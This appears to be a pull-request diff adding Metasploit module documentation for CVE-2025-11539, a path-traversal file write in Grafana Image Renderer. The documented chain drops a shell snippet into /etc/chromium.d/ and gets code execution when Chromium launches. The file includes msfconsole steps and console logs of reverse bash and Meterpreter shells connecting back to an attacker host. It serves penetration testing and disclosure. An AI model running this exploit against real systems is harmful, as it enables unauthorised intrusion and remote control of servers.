Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
# Vulnerable Application

[Grafana Image Renderer](https://github.com/grafana/grafana-image-renderer) is a
Grafana plugin that renders panels and dashboards to PNG images or CSV files using
headless Chromium. Versions 1.0.0 through 4.0.16 are vulnerable to arbitrary file
write via path traversal in the `filePath` query parameter of the `/render` and
`/render/csv` HTTP endpoints (CVE-2025-11539).

The renderer exposes an unauthenticated-by-default HTTP API (port 8081) protected
only by a configurable token passed via the `X-Auth-Token` header. The default token
is a single hyphen (`-`). The `filePath` parameter, which specifies where the output
file is written, is not sanitised, allowing an attacker to write to arbitrary paths on
the renderer filesystem.

This module chains the file write with the Debian Chromium wrapper sourcing mechanism
to achieve RCE:

1. A shell snippet is written to `/etc/chromium.d/msf` via `/render/csv`.
2. The Debian `/usr/bin/chromium` wrapper sources all files in `/etc/chromium.d/`
using the shell dot (`.`) command on every launch — no execute permission required.
3. A second `/render` request causes the renderer to launch Chromium, which sources
the dropped snippet and executes the payload.

The module uses TCP backpressure to prevent the renderer from deleting the snippet
after writing it: the `/render/csv` request socket is held open without reading the
response, stalling the `sendFile` callback so the post-write unlink never fires.

**Affected versions:** Grafana Image Renderer 1.0.0 – 4.0.16
**Fixed in:** Grafana Image Renderer 4.0.17

### Installing a vulnerable lab environment

```bash
# Pull the vulnerable image (Debian-based with Chromium)
docker pull grafana/grafana-image-renderer:4.0.16
docker run -d -p 8081:8081 grafana/grafana-image-renderer:4.0.16
```

Or use the [EIP lab](https://github.com/exploitintel/eip-pocs-and-cves/tree/main/CVE-2025-11539) which provides a ready-made `docker-compose.yml`.

## Verification Steps

1. Start the vulnerable Grafana Image Renderer on the target (port 8081).
2. Start `msfconsole`.
3. Do: `use exploit/multi/http/grafana_renderer_file_write_rce`
4. Do: `set RHOSTS <target_ip>`
5. Do: `set LHOST <attacker_ip>` — the renderer must be able to reach this address on `SRVPORT` (8888 by default).
6. Do: `check` — should return `Vulnerable` if file write via `/render` is confirmed.
7. Do: `run` — should open a shell session running as the renderer process user.
8. Verify with `id` and `hostname` in the session.

## Options

| Option | Default | Description |
|--------|---------|-------------|
| `AUTH_TOKEN` | `-` | The `X-Auth-Token` value accepted by the renderer. The default installation uses a single hyphen. Set this if the target has a custom token configured. |
| `CHROMIUM_CONF` | `/etc/chromium.d/msf` | Destination path for the shell snippet dropped via file write. The Debian Chromium wrapper sources all files in `/etc/chromium.d/` on launch. Only relevant on Debian-based targets. |
| `SRVPORT` | `8888` | Port for the module's temporary download server. The renderer (Chromium) must be able to reach `LHOST:SRVPORT` to fetch the payload. |
| `TARGETURI` | `/` | Base path to the renderer API. Change this if the renderer is behind a reverse proxy with a non-root prefix. |

## Scenarios

### Grafana Image Renderer 4.0.16 on Debian 12 — Unix Command target

```
msf6 > use exploit/multi/http/grafana_renderer_file_write_rce

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > set LHOST 192.168.56.1
LHOST => 192.168.56.1

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > check
[+] 192.168.56.101:8081 - The target is vulnerable. File write via /render confirmed (HTTP 200, image/png).

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 192.168.56.101:8081 - Executing cmd/unix/reverse_bash (Unix Command)
[*] 192.168.56.101:8081 - Starting download server on 192.168.56.1:8888
[*] 192.168.56.101:8081 - Writing snippet to /etc/chromium.d/msf via /render/csv
[*] 192.168.56.101:8081 - Waiting for renderer to fetch payload...
[+] 192.168.56.101:8081 - Download served -- snippet delivered to renderer
[*] 192.168.56.101:8081 - Waiting for file write and sendFile stall...
[*] 192.168.56.101:8081 - Triggering Chromium launch via /render
[+] 192.168.56.101:8081 - Render triggered -- payload executing
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.101:52814) at 2025-10-09 14:22:37 +0000

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > sessions -i 1
[*] Starting interaction with 1...

id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
hostname
grafana-renderer
uname -a
Linux grafana-renderer 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64 GNU/Linux
```

### Grafana Image Renderer 4.0.16 on Debian 12 — Linux Dropper target (Meterpreter)

```
msf6 exploit(multi/http/grafana_renderer_file_write_rce) > set TARGET 1
TARGET => 1

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 192.168.56.101:8081 - Executing linux/x64/meterpreter/reverse_tcp (Linux Dropper)
[*] 192.168.56.101:8081 - Starting download server on 192.168.56.1:8888
[*] 192.168.56.101:8081 - Writing snippet to /etc/chromium.d/msf via /render/csv
[*] 192.168.56.101:8081 - Waiting for renderer to fetch payload...
[+] 192.168.56.101:8081 - Download served -- snippet delivered to renderer
[*] 192.168.56.101:8081 - Waiting for file write and sendFile stall...
[*] 192.168.56.101:8081 - Triggering Chromium launch via /render
[+] 192.168.56.101:8081 - Render triggered -- payload executing
[*] Sending stage (3045380 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.101:52901) at 2025-10-09 14:25:11 +0000

msf6 exploit(multi/http/grafana_renderer_file_write_rce) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: nobody @ grafana-renderer
meterpreter > sysinfo
Computer : grafana-renderer
OS : Debian 12.8 (Linux 6.1.0-28-amd64)
Architecture : x64
```
Loading